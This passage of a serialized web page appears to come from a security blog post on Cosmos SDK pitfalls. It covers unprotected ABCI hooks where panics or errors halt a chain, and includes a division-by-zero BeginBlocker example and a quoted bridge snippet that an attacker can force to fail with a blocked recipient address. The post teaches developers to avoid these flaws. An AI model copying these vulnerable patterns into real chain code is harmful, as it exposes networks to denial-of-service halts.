children":78533},{},[78534,78536,78541,78543,78550,78551,78558],{"type":24,"value":78535},"Additional examples of incorrect ",{"type":19,"tag":27,"props":78537,"children":78539},{"className":78538},[],[78540],{"type":24,"value":75959},{"type":24,"value":78542}," usage include ",{"type":19,"tag":269,"props":78544,"children":78547},{"href":78545,"rel":78546},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[273],[78548],{"type":24,"value":78549},"yet more bypassable checks and loss of funds",{"type":24,"value":8436},{"type":19,"tag":269,"props":78552,"children":78555},{"href":78553,"rel":78554},"https://github.com/cosmos/ibc-go/issues/853",[273],[78556],{"type":24,"value":78557},"incorrect data passing between blockchains",{"type":24,"value":948},{"type":19,"tag":36,"props":78560,"children":78562},{"id":78561},"errors-panics-i-can-handle-it",[78563],{"type":24,"value":78564},"Errors? Panics? I can handle it",{"type":19,"tag":20,"props":78566,"children":78567},{},[78568],{"type":24,"value":78569},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":19,"tag":20,"props":78571,"children":78572},{},[78573],{"type":24,"value":78574},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":19,"tag":20,"props":78576,"children":78577},{},[78578,78580,78586,78588,78593],{"type":24,"value":78579},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":19,"tag":27,"props":78581,"children":78583},{"className":78582},[],[78584],{"type":24,"value":78585},"k.keeper.TotalReward()",{"type":24,"value":78587}," returns zero, the ",{"type":19,"tag":27,"props":78589,"children":78591},{"className":78590},[],[78592],{"type":24,"value":55430},{"type":24,"value":78594}," execution will simply rollback as if nothing has happened.",{"type":19,"tag":158,"props":78596,"children":78598},{"code":78597,"language":73653,"meta":7,"className":73654,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[78599],{"type":19,"tag":27,"props":78600,"children":78601},{"__ignoreMap":7},[78602,78635,78658,78686,78722,78729,78798,78836,78843,78875],{"type":19,"tag":168,"props":78603,"children":78604},{"class":170,"line":171},[78605,78609,78613,78618,78622,78626,78631],{"type":19,"tag":168,"props":78606,"children":78607},{"style":382},[78608],{"type":24,"value":73789},{"type":19,"tag":168,"props":78610,"children":78611},{"style":212},[78612],{"type":24,"value":461},{"type":19,"tag":168,"props":78614,"children":78615},{"style":393},[78616],{"type":24,"value":78617},"k ",{"type":19,"tag":168,"props":78619,"children":78620},{"style":825},[78621],{"type":24,"value":73803},{"type":19,"tag":168,"props":78623,"children":78624},{"style":212},[78625],{"type":24,"value":481},{"type":19,"tag":168,"props":78627,"children":78628},{"style":175},[78629],{"type":24,"value":78630},"AllocateReward",{"type":19,"tag":168,"props":78632,"children":78633},{"style":212},[78634],{"type":24,"value":870},{"type":19,"tag":168,"props":78636,"children":78637},{"class":170,"line":198},[78638,78642,78646,78650,78654],{"type":19,"tag":168,"props":78639,"children":78640},{"style":393},[78641],{"type":24,"value":73824},{"type":19,"tag":168,"props":78643,"children":78644},{"style":825},[78645],{"type":24,"value":73829},{"type":19,"tag":168,"props":78647,"children":78648},{"style":212},[78649],{"type":24,"value":948},{"type":19,"tag":168,"props":78651,"children":78652},{"style":825},[78653],{"type":24,"value":73838},{"type":19,"tag":168,"props":78655,"children":78656},{"style":212},[78657],{"type":24,"value":915},{"type":19,"tag":168,"props":78659,"children":78660},{"class":170,"line":415},[78661,78665,78669,78673,78677,78682],{"type":19,"tag":168,"props":78662,"children":78663},{"style":393},[78664],{"type":24,"value":73850},{"type":19,"tag":168,"props":78666,"children":78667},{"style":399},[78668],{"type":24,"value":7259},{"type":19,"tag":168,"props":78670,"children":78671},{"style":825},[78672],{"type":24,"value":3192},{"type":19,"tag":168,"props":78674,"children":78675},{"style":212},[78676],{"type":24,"value":948},{"type":19,"tag":168,"props":78678,"children":78679},{"style":825},[78680],{"type":24,"value":78681},"MsgAllocateReward",{"type":19,"tag":168,"props":78683,"children":78684},{"style":212},[78685],{"type":24,"value":557},{"type":19,"tag":168,"props":78687,"children":78688},{"class":170,"line":450},[78689,78693,78697,78701,78705,78710,78714,78718],{"type":19,"tag":168,"props":78690,"children":78691},{"style":212},[78692],{"type":24,"value":500},{"type":19,"tag":168,"props":78694,"children":78695},{"style":399},[78696],{"type":24,"value":2002},{"type":19,"tag":168,"props":78698,"children":78699},{"style":825},[78700],{"type":24,"value":3192},{"type":19,"tag":168,"props":78702,"children":78703},{"style":212},[78704],{"type":24,"value":948},{"type":19,"tag":168,"props":78706,"children":78707},{"style":825},[78708],{"type":24,"value":78709},"MsgAllocatRewardResponse",{"type":19,"tag":168,"props":78711,"children":78712},{"style":212},[78713],{"type":24,"value":471},{"type":19,"tag":168,"props":78715,"children":78716},{"style":825},[78717],{"type":24,"value":12310},{"type":19,"tag":168,"props":78719,"children":78720},{"style":212},[78721],{"type":24,"value":12250},{"type":19,"tag":168,"props":78723,"children":78724},{"class":170,"line":560},[78725],{"type":19,"tag":168,"props":78726,"children":78727},{"emptyLinePlaceholder":14},[78728],{"type":24,"value":1093},{"type":19,"tag":168,"props":78730,"children":78731},{"class":170,"line":666},[78732,78737,78741,78746,78750,78755,78759,78764,78768,78772,78777,78781,78785,78789,78794],{"type":19,"tag":168,"props":78733,"children":78734},{"style":393},[78735],{"type":24,"value":78736}," RewardPerShare",{"type":19,"tag":168,"props":78738,"children":78739},{"style":399},[78740],{"type":24,"value":73905},{"type":19,"tag":168,"props":78742,"children":78743},{"style":393},[78744],{"type":24,"value":78745}," k",{"type":19,"tag":168,"props":78747,"children":78748},{"style":212},[78749],{"type":24,"value":948},{"type":19,"tag":168,"props":78751,"children":78752},{"style":393},[78753],{"type":24,"value":78754},"keeper",{"type":19,"tag":168,"props":78756,"children":78757},{"style":212},[78758],{"type":24,"value":948},{"type":19,"tag":168,"props":78760,"children":78761},{"style":175},[78762],{"type":24,"value":78763},"Shares",{"type":19,"tag":168,"props":78765,"children":78766},{"style":212},[78767],{"type":24,"value":11489},{"type":19,"tag":168,"props":78769,"children":78770},{"style":399},[78771],{"type":24,"value":2012},{"type":19,"tag":168,"props":78773,"children":78774},{"style":393},[78775],{"type":24,"value":78776}," k",{"type":19,"tag":168,"props":78778,"children":78779},{"style":212},[78780],{"type":24,"value":948},{"type":19,"tag":168,"props":78782,"children":78783},{"style":393},[78784],{"type":24,"value":78754},{"type":19,"tag":168,"props":78786,"children":78787},{"style":212},[78788],{"type":24,"value":948},{"type":19,"tag":168,"props":78790,"children":78791},{"style":175},[78792],{"type":24,"value":78793},"TotalReward",{"type":19,"tag":168,"props":78795,"children":78796},{"style":212},[78797],{"type":24,"value":5172},{"type":19,"tag":168,"props":78799,"children":78800},{"class":170,"line":694},[78801,78806,78810,78814,78818,78823,78827,78832],{"type":19,"tag":168,"props":78802,"children":78803},{"style":393},[78804],{"type":24,"value":78805}," k",{"type":19,"tag":168,"props":78807,"children":78808},{"style":212},[78809],{"type":24,"value":948},{"type":19,"tag":168,"props":78811,"children":78812},{"style":393},[78813],{"type":24,"value":78754},{"type":19,"tag":168,"props":78815,"children":78816},{"style":212},[78817],{"type":24,"value":948},{"type":19,"tag":168,"props":78819,"children":78820},{"style":175},[78821],{"type":24,"value":78822},"DistributeReward",{"type":19,"tag":168,"props":78824,"children":78825},{"style":212},[78826],{"type":24,"value":500},{"type":19,"tag":168,"props":78828,"children":78829},{"style":393},[78830],{"type":24,"value":78831},"RewardPerShare",{"type":19,"tag":168,"props":78833,"children":78834},{"style":212},[78835],{"type":24,"value":557},{"type":19,"tag":168,"props":78837,"children":78838},{"class":170,"line":707},[78839],{"type":19,"tag":168,"props":78840,"children":78841},{"emptyLinePlaceholder":14},[78842],{"type":24,"value":1093},{"type":19,"tag":168,"props":78844,"children":78845},{"class":170,"line":725},[78846,78850,78854,78858,78862,78867,78871],{"type":19,"tag":168,"props":78847,"children":78848},{"style":419},[78849],{"type":24,"value":14438},{"type":19,"tag":168,"props":78851,"children":78852},{"style":399},[78853],{"type":24,"value":4577},{"type":19,"tag":168,"props":78855,"children":78856},{"style":393},[78857],{"type":24,"value":3192},{"type":19,"tag":168,"props":78859,"children":78860},{"style":212},[78861],{"type":24,"value":948},{"type":19,"tag":168,"props":78863,"children":78864},{"style":393},[78865],{"type":24,"value":78866},"MsgAllocateRewardResponse",{"type":19,"tag":168,"props":78868,"children":78869},{"style":212},[78870],{"type":24,"value":471},{"type":19,"tag":168,"props":78872,"children":78873},{"style":382},[78874],{"type":24,"value":74131},{"type":19,"tag":168,"props":78876,"children":78877},{"class":170,"line":746},[78878],{"type":19,"tag":168,"props":78879,"children":78880},{"style":212},[78881],{"type":24,"value":1326},{"type":19,"tag":20,"props":78883,"children":78884},{},[78885,78887,78893,78894,78900,78901,78907,78909,78914],{"type":24,"value":78886},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":19,"tag":27,"props":78888,"children":78890},{"className":78889},[],[78891],{"type":24,"value":78892},"PreBlocker",{"type":24,"value":471},{"type":19,"tag":27,"props":78895,"children":78897},{"className":78896},[],[78898],{"type":24,"value":78899},"BeginBlocker",{"type":24,"value":3923},{"type":19,"tag":27,"props":78902,"children":78904},{"className":78903},[],[78905],{"type":24,"value":78906},"EndBlocker",{"type":24,"value":78908},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":19,"tag":27,"props":78910,"children":78912},{"className":78911},[],[78913],{"type":24,"value":78899},{"type":24,"value":78915}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":19,"tag":158,"props":78917,"children":78919},{"code":78918,"language":73653,"meta":7,"className":73654,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[78920],{"type":19,"tag":27,"props":78921,"children":78922},{"__ignoreMap":7},[78923,78988,78995,79043,79071,79078,79090],{"type":19,"tag":168,"props":78924,"children":78925},{"class":170,"line":171},[78926,78930,78935,78939,78943,78947,78951,78955,78959,78963,78968,78972,78976,78980,78984],{"type":19,"tag":168,"props":78927,"children":78928},{"style":382},[78929],{"type":24,"value":73789},{"type":19,"tag":168,"props":78931,"children":78932},{"style":175},[78933],{"type":24,"value":78934}," BeginBlocker",{"type":19,"tag":168,"props":78936,"children":78937},{"style":212},[78938],{"type":24,"value":500},{"type":19,"tag":168,"props":78940,"children":78941},{"style":393},[78942],{"type":24,"value":17735},{"type":19,"tag":168,"props":78944,"children":78945},{"style":825},[78946],{"type":24,"value":73829},{"type":19,"tag":168,"props":78948,"children":78949},{"style":212},[78950],{"type":24,"value":948},{"type":19,"tag":168,"props":78952,"children":78953},{"style":825},[78954],{"type":24,"value":73838},{"type":19,"tag":168,"props":78956,"children":78957},{"style":212},[78958],{"type":24,"value":471},{"type":19,"tag":168,"props":78960,"children":78961},{"style":393},[78962],{"type":24,"value":78754},{"type":19,"tag":168,"props":78964,"children":78965},{"style":825},[78966],{"type":24,"value":78967}," keeper",{"type":19,"tag":168,"props":78969,"children":78970},{"style":212},[78971],{"type":24,"value":948},{"type":19,"tag":168,"props":78973,"children":78974},{"style":825},[78975],{"type":24,"value":77434},{"type":19,"tag":168,"props":78977,"children":78978},{"style":212},[78979],{"type":24,"value":481},{"type":19,"tag":168,"props":78981,"children":78982},{"style":825},[78983],{"type":24,"value":12310},{"type":19,"tag":168,"props":78985,"children":78986},{"style":212},[78987],{"type":24,"value":691},{"type":19,"tag":168,"props":78989,"children":78990},{"class":170,"line":198},[78991],{"type":19,"tag":168,"props":78992,"children":78993},{"emptyLinePlaceholder":14},[78994],{"type":24,"value":1093},{"type":19,"tag":168,"props":78996,"children":78997},{"class":170,"line":415},[78998,79002,79006,79010,79014,79018,79022,79026,79031,79035,79039],{"type":19,"tag":168,"props":78999,"children":79000},{"style":393},[79001],{"type":24,"value":78736},{"type":19,"tag":168,"props":79003,"children":79004},{"style":399},[79005],{"type":24,"value":73905},{"type":19,"tag":168,"props":79007,"children":79008},{"style":393},[79009],{"type":24,"value":78967},{"type":19,"tag":168,"props":79011,"children":79012},{"style":212},[79013],{"type":24,"value":948},{"type":19,"tag":168,"props":79015,"children":79016},{"style":175},[79017],{"type":24,"value":78763},{"type":19,"tag":168,"props":79019,"children":79020},{"style":212},[79021],{"type":24,"value":11489},{"type":19,"tag":168,"props":79023,"children":79024},{"style":399},[79025],{"type":24,"value":2012},{"type":19,"tag":168,"props":79027,"children":79028},{"style":393},[79029],{"type":24,"value":79030}," keeper",{"type":19,"tag":168,"props":79032,"children":79033},{"style":212},[79034],{"type":24,"value":948},{"type":19,"tag":168,"props":79036,"children":79037},{"style":175},[79038],{"type":24,"value":78793},{"type":19,"tag":168,"props":79040,"children":79041},{"style":212},[79042],{"type":24,"value":5172},{"type":19,"tag":168,"props":79044,"children":79045},{"class":170,"line":450},[79046,79051,79055,79059,79063,79067],{"type":19,"tag":168,"props":79047,"children":79048},{"style":393},[79049],{"type":24,"value":79050}," keeper",{"type":19,"tag":168,"props":79052,"children":79053},{"style":212},[79054],{"type":24,"value":948},{"type":19,"tag":168,"props":79056,"children":79057},{"style":175},[79058],{"type":24,"value":78822},{"type":19,"tag":168,"props":79060,"children":79061},{"style":212},[79062],{"type":24,"value":500},{"type":19,"tag":168,"props":79064,"children":79065},{"style":393},[79066],{"type":24,"value":78831},{"type":19,"tag":168,"props":79068,"children":79069},{"style":212},[79070],{"type":24,"value":557},{"type":19,"tag":168,"props":79072,"children":79073},{"class":170,"line":560},[79074],{"type":19,"tag":168,"props":79075,"children":79076},{"emptyLinePlaceholder":14},[79077],{"type":24,"value":1093},{"type":19,"tag":168,"props":79079,"children":79080},{"class":170,"line":666},[79081,79085],{"type":19,"tag":168,"props":79082,"children":79083},{"style":419},[79084],{"type":24,"value":50349},{"type":19,"tag":168,"props":79086,"children":79087},{"style":382},[79088],{"type":24,"value":79089}," nil\n",{"type":19,"tag":168,"props":79091,"children":79092},{"class":170,"line":694},[79093],{"type":19,"tag":168,"props":79094,"children":79095},{"style":212},[79096],{"type":24,"value":1326},{"type":19,"tag":7050,"props":79098,"children":79100},{"id":79099},"real-world-examples-3",[79101],{"type":24,"value":74178},{"type":19,"tag":20,"props":79103,"children":79104},{},[79105],{"type":24,"value":79106},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":19,"tag":20,"props":79108,"children":79109},{},[79110,79112,79118,79120,79125,79127,79133,79135,79141,79143,79149],{"type":24,"value":79111},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":19,"tag":27,"props":79113,"children":79115},{"className":79114},[],[79116],{"type":24,"value":79117},"bankKeeper.SendCoinsFromModuleToAccount",{"type":24,"value":79119}," will be bubbled up through ",{"type":19,"tag":27,"props":79121,"children":79123},{"className":79122},[],[79124],{"type":24,"value":78892},{"type":24,"value":79126}," and halt the chain. It turns out an attacker can force ",{"type":19,"tag":27,"props":79128,"children":79130},{"className":79129},[],[79131],{"type":24,"value":79132},"SendCoinsFromModuleToAccount",{"type":24,"value":79134}," to return an error by setting ",{"type":19,"tag":27,"props":79136,"children":79138},{"className":79137},[],[79139],{"type":24,"value":79140},"recipient",{"type":24,"value":79142}," to some ",{"type":19,"tag":27,"props":79144,"children":79146},{"className":79145},[],[79147],{"type":24,"value":79148},"BlockedAddr",{"type":24,"value":79150},",rendering the code susceptible to DoS attacks.",{"type":19,"tag":20,"props":79152,"children":79153},{},[79154],{"type":19,"tag":269,"props":79155,"children":79158},{"href":79156,"rel":79157},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[273],[79159],{"type":24,"value":74228},{"type":19,"tag":158,"props":79161,"children":79163},{"code":79162,"language":73653,"meta":7,"className":73654,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[79164],{"type":19,"tag":27,"props":79165,"children":79166},{"__ignoreMap":7},[79167,79220,79235,79258,79288,79324,79332,79388,79412,79462,79469,79476,79483,79490,79497,79528,79551,79576,79591,79598,79635,79689,79712,79753,79760,79767,79818,79879,79902,79925,79937,79958,79970,79978,79985,80000,80008,80015,80022,80029,80036,80043,80074,80097,80122,80147,80162,80169,80206,80217,80238,80249,80261,80268,80291,80331,80338,80345],{"type":19,"tag":168,"props":79168,"children":79169},{"class":170,"line":171},[79170,79174,79178,79183,79187,79192,79196,79200,79204,79208,79212,79216],{"type":19,"tag":168,"props":79171,"children":79172},{"style":382},[79173],{"type":24,"value":73789},{"type":19,"tag":168,"props":79175,"children":79176},{"style":212},[79177],{"type":24,"value":461},{"type":19,"tag":168,"props":79179,"children":79180},{"style":393},[79181],{"type":24,"value":79182},"pbh ",{"type":19,"tag":168,"props":79184,"children":79185},{"style":399},[79186],{"type":24,"value":2002},{"type":19,"tag":168,"props":79188,"children":79189},{"style":825},[79190],{"type":24,"value":79191},"PreBlockHandler",{"type":19,"tag":168,"props":79193,"children":79194},{"style":212},[79195],{"type":24,"value":481},{"type":19,"tag":168,"props":79197,"children":79198},{"style":175},[79199],{"type":24,"value":78892},{"type":19,"tag":168,"props":79201,"children":79202},{"style":212},[79203],{"type":24,"value":11489},{"type":19,"tag":168,"props":79205,"children":79206},{"style":825},[79207],{"type":24,"value":76219},{"type":19,"tag":168,"props":79209,"children":79210},{"style":212},[79211],{"type":24,"value":948},{"type":19,"tag":168,"props":79213,"children":79214},{"style":825},[79215],{"type":24,"value":78892},{"type":19,"tag":168,"props":79217,"children":79218},{"style":212},[79219],{"type":24,"value":691},{"type":19,"tag":168,"props":79221,"children":79222},{"class":170,"line":198},[79223,79227,79231],{"type":19,"tag":168,"props":79224,"children":79225},{"style":419},[79226],{"type":24,"value":14438},{"type":19,"tag":168,"props":79228,"children":79229},{"style":382},[79230],{"type":24,"value":77498},{"type":19,"tag":168,"props":79232,"children":79233},{"style":212},[79234],{"type":24,"value":870},{"type":19,"tag":168,"props":79236,"children":79237},{"class":170,"line":415},[79238,79242,79246,79250,79254],{"type":19,"tag":168,"props":79239,"children":79240},{"style":393},[79241],{"type":24,"value":23654},{"type":19,"tag":168,"props":79243,"children":79244},{"style":825},[79245],{"type":24,"value":76130},{"type":19,"tag":168,"props":79247,"children":79248},{"style":212},[79249],{"type":24,"value":948},{"type":19,"tag":168,"props":79251,"children":79252},{"style":825},[79253],{"type":24,"value":73838},{"type":19,"tag":168,"props":79255,"children":79256},{"style":212},[79257],{"type":24,"value":915},{"type":19,"tag":168,"props":79259,"children":79260},{"class":170,"line":450},[79261,79266,79270,79275,79279,79284],{"type":19,"tag":168,"props":79262,"children":79263},{"style":393},[79264],{"type":24,"value":79265}," req",{"type":19,"tag":168,"props":79267,"children":79268},{"style":399},[79269],{"type":24,"value":7259},{"type":19,"tag":168,"props":79271,"children":79272},{"style":825},[79273],{"type":24,"value":79274},"cmtabci",{"type":19,"tag":168,"props":79276,"children":79277},{"style":212},[79278],{"type":24,"value":948},{"type":19,"tag":168,"props":79280,"children":79281},{"style":825},[79282],{"type":24,"value":79283},"RequestFinalizeBlock",{"type":19,"tag":168,"props":79285,"children":79286},{"style":212},[79287],{"type":24,"value":915},{"type":19,"tag":168,"props":79289,"children":79290},{"class":170,"line":560},[79291,79295,79299,79303,79307,79312,79316,79320],{"type":19,"tag":168,"props":79292,"children":79293},{"style":212},[79294],{"type":24,"value":77566},{"type":19,"tag":168,"props":79296,"children":79297},{"style":399},[79298],{"type":24,"value":2002},{"type":19,"tag":168,"props":79300,"children":79301},{"style":825},[79302],{"type":24,"value":76219},{"type":19,"tag":168,"props":79304,"children":79305},{"style":212},[79306],{"type":24,"value":948},{"type":19,"tag":168,"props":79308,"children":79309},{"style":825},[79310],{"type":24,"value":79311},"ResponsePreBlock",{"type":19,"tag":168,"props":79313,"children":79314},{"style":212},[79315],{"type":24,"value":471},{"type":19,"tag":168,"props":79317,"children":79318},{"style":825},[79319],{"type":24,"value":12310},{"type":19,"tag":168,"props":79321,"children":79322},{"style":212},[79323],{"type":24,"value":12250},{"type":19,"tag":168,"props":79325,"children":79326},{"class":170,"line":666},[79327],{"type":19,"tag":168,"props":79328,"children":79329},{"style":399},[79330],{"type":24,"value":79331}," ...\n",{"type":19,"tag":168,"props":79333,"children":79334},{"class":170,"line":694},[79335,79340,79344,79349,79353,79358,79362,79367,79371,79375,79379,79384],{"type":19,"tag":168,"props":79336,"children":79337},{"style":393},[79338],{"type":24,"value":79339}," err",{"type":19,"tag":168,"props":79341,"children":79342},{"style":399},[79343],{"type":24,"value":73905},{"type":19,"tag":168,"props":79345,"children":79346},{"style":393},[79347],{"type":24,"value":79348}," pbh",{"type":19,"tag":168,"props":79350,"children":79351},{"style":212},[79352],{"type":24,"value":948},{"type":19,"tag":168,"props":79354,"children":79355},{"style":393},[79356],{"type":24,"value":79357},"bridgeKeeper",{"type":19,"tag":168,"props":79359,"children":79360},{"style":212},[79361],{"type":24,"value":948},{"type":19,"tag":168,"props":79363,"children":79364},{"style":175},[79365],{"type":24,"value":79366},"AcceptAssetsLocked",{"type":19,"tag":168,"props":79368,"children":79369},{"style":212},[79370],{"type":24,"value":500},{"type":19,"tag":168,"props":79372,"children":79373},{"style":393},[79374],{"type":24,"value":17735},{"type":19,"tag":168,"props":79376,"children":79377},{"style":212},[79378],{"type":24,"value":471},{"type":19,"tag":168,"props":79380,"children":79381},{"style":393},[79382],{"type":24,"value":79383},"events",{"type":19,"tag":168,"props":79385,"children":79386},{"style":212},[79387],{"type":24,"value":557},{"type":19,"tag":168,"props":79389,"children":79390},{"class":170,"line":707},[79391,79395,79399,79403,79408],{"type":19,"tag":168,"props":79392,"children":79393},{"style":419},[79394],{"type":24,"value":672},{"type":19,"tag":168,"props":79396,"children":79397},{"style":393},[79398],{"type":24,"value":46003},{"type":19,"tag":168,"props":79400,"children":79401},{"style":399},[79402],{"type":24,"value":61872},{"type":19,"tag":168,"props":79404,"children":79405},{"style":382},[79406],{"type":24,"value":79407}," nil",{"type":19,"tag":168,"props":79409,"children":79410},{"style":212},[79411],{"type":24,"value":691},{"type":19,"tag":168,"props":79413,"children":79414},{"class":170,"line":725},[79415,79419,79423,79427,79432,79436,79441,79445,79450,79454,79458],{"type":19,"tag":168,"props":79416,"children":79417},{"style":419},[79418],{"type":24,"value":76565},{"type":19,"tag":168,"props":79420,"children":79421},{"style":382},[79422],{"type":24,"value":79407},{"type":19,"tag":168,"props":79424,"children":79425},{"style":212},[79426],{"type":24,"value":471},{"type":19,"tag":168,"props":79428,"children":79429},{"style":393},[79430],{"type":24,"value":79431},"fmt",{"type":19,"tag":168,"props":79433,"children":79434},{"style":212},[79435],{"type":24,"value":948},{"type":19,"tag":168,"props":79437,"children":79438},{"style":175},[79439],{"type":24,"value":79440},"Errorf",{"type":19,"tag":168,"props":79442,"children":79443},{"style":212},[79444],{"type":24,"value":500},{"type":19,"tag":168,"props":79446,"children":79447},{"style":181},[79448],{"type":24,"value":79449},"\"cannot accept AssetsLocked events: %w\"",{"type":19,"tag":168,"props":79451,"children":79452},{"style":212},[79453],{"type":24,"value":471},{"type":19,"tag":168,"props":79455,"children":79456},{"style":393},[79457],{"type":24,"value":45902},{"type":19,"tag":168,"props":79459,"children":79460},{"style":212},[79461],{"type":24,"value":557},{"type":19,"tag":168,"props":79463,"children":79464},{"class":170,"line":746},[79465],{"type":19,"tag":168,"props":79466,"children":79467},{"style":212},[79468],{"type":24,"value":752},{"type":19,"tag":168,"props":79470,"children":79471},{"class":170,"line":755},[79472],{"type":19,"tag":168,"props":79473,"children":79474},{"style":399},[79475],{"type":24,"value":79331},{"type":19,"tag":168,"props":79477,"children":79478},{"class":170,"line":1008},[79479],{"type":19,"tag":168,"props":79480,"children":79481},{"style":212},[79482],{"type":24,"value":761},{"type":19,"tag":168,"props":79484,"children":79485},{"class":170,"line":1025},[79486],{"type":19,"tag":168,"props":79487,"children":79488},{"style":212},[79489],{"type":24,"value":1326},{"type":19,"tag":168,"props":79491,"children":79492},{"class":170,"line":1042},[79493],{"type":19,"tag":168,"props":79494,"children":79495},{"emptyLinePlaceholder":14},[79496],{"type":24,"value":1093},{"type":19,"tag":168,"props":79498,"children":79499},{"class":170,"line":1055},[79500,79504,79508,79512,79516,79520,79524],{"type":19,"tag":168,"props":79501,"children":79502},{"style":382},[79503],{"type":24,"value":73789},{"type":19,"tag":168,"props":79505,"children":79506},{"style":212},[79507],{"type":24,"value":461},{"type":19,"tag":168,"props":79509,"children":79510},{"style":393},[79511],{"type":24,"value":78617},{"type":19,"tag":168,"props":79513,"children":79514},{"style":825},[79515],{"type":24,"value":77434},{"type":19,"tag":168,"props":79517,"children":79518},{"style":212},[79519],{"type":24,"value":481},{"type":19,"tag":168,"props":79521,"children":79522},{"style":175},[79523],{"type":24,"value":79366},{"type":19,"tag":168,"props":79525,"children":79526},{"style":212},[79527],{"type":24,"value":870},{"type":19,"tag":168,"props":79529,"children":79530},{"class":170,"line":1064},[79531,79535,79539,79543,79547],{"type":19,"tag":168,"props":79532,"children":79533},{"style":393},[79534],{"type":24,"value":17678},{"type":19,"tag":168,"props":79536,"children":79537},{"style":825},[79538],{"type":24,"value":76130},{"type":19,"tag":168,"props":79540,"children":79541},{"style":212},[79542],{"type":24,"value":948},{"type":19,"tag":168,"props":79544,"children":79545},{"style":825},[79546],{"type":24,"value":73838},{"type":19,"tag":168,"props":79548,"children":79549},{"style":212},[79550],{"type":24,"value":915},{"type":19,"tag":168,"props":79552,"children":79553},{"class":170,"line":1087},[79554,79559,79563,79567,79572],{"type":19,"tag":168,"props":79555,"children":79556},{"style":393},[79557],{"type":24,"value":79558}," events",{"type":19,"tag":168,"props":79560,"children":79561},{"style":825},[79562],{"type":24,"value":75664},{"type":19,"tag":168,"props":79564,"children":79565},{"style":212},[79566],{"type":24,"value":948},{"type":19,"tag":168,"props":79568,"children":79569},{"style":825},[79570],{"type":24,"value":79571},"AssetsLockedEvents",{"type":19,"tag":168,"props":79573,"children":79574},{"style":212},[79575],{"type":24,"value":915},{"type":19,"tag":168,"props":79577,"children":79578},{"class":170,"line":1096},[79579,79583,79587],{"type":19,"tag":168,"props":79580,"children":79581},{"style":212},[79582],{"type":24,"value":481},{"type":19,"tag":168,"props":79584,"children":79585},{"style":825},[79586],{"type":24,"value":12310},{"type":19,"tag":168,"props":79588,"children":79589},{"style":212},[79590],{"type":24,"value":691},{"type":19,"tag":168,"props":79592,"children":79593},{"class":170,"line":1105},[79594],{"type":19,"tag":168,"props":79595,"children":79596},{"style":399},[79597],{"type":24,"value":17794},{"type":19,"tag":168,"props":79599,"children":79600},{"class":170,"line":1174},[79601,79605,79609,79613,79618,79622,79626,79631],{"type":19,"tag":168,"props":79602,"children":79603},{"style":419},[79604],{"type":24,"value":422},{"type":19,"tag":168,"props":79606,"children":79607},{"style":393},[79608],{"type":24,"value":427},{"type":19,"tag":168,"props":79610,"children":79611},{"style":212},[79612],{"type":24,"value":471},{"type":19,"tag":168,"props":79614,"children":79615},{"style":393},[79616],{"type":24,"value":79617},"event",{"type":19,"tag":168,"props":79619,"children":79620},{"style":399},[79621],{"type":24,"value":73905},{"type":19,"tag":168,"props":79623,"children":79624},{"style":419},[79625],{"type":24,"value":74888},{"type":19,"tag":168,"props":79627,"children":79628},{"style":393},[79629],{"type":24,"value":79630}," events",{"type":19,"tag":168,"props":79632,"children":79633},{"style":212},[79634],{"type":24,"value":691},{"type":19,"tag":168,"props":79636,"children":79637},{"class":170,"line":1182},[79638,79643,79647,79651,79655,79659,79663,79668,79672,79676,79680,79685],{"type":19,"tag":168,"props":79639,"children":79640},{"style":393},[79641],{"type":24,"value":79642}," 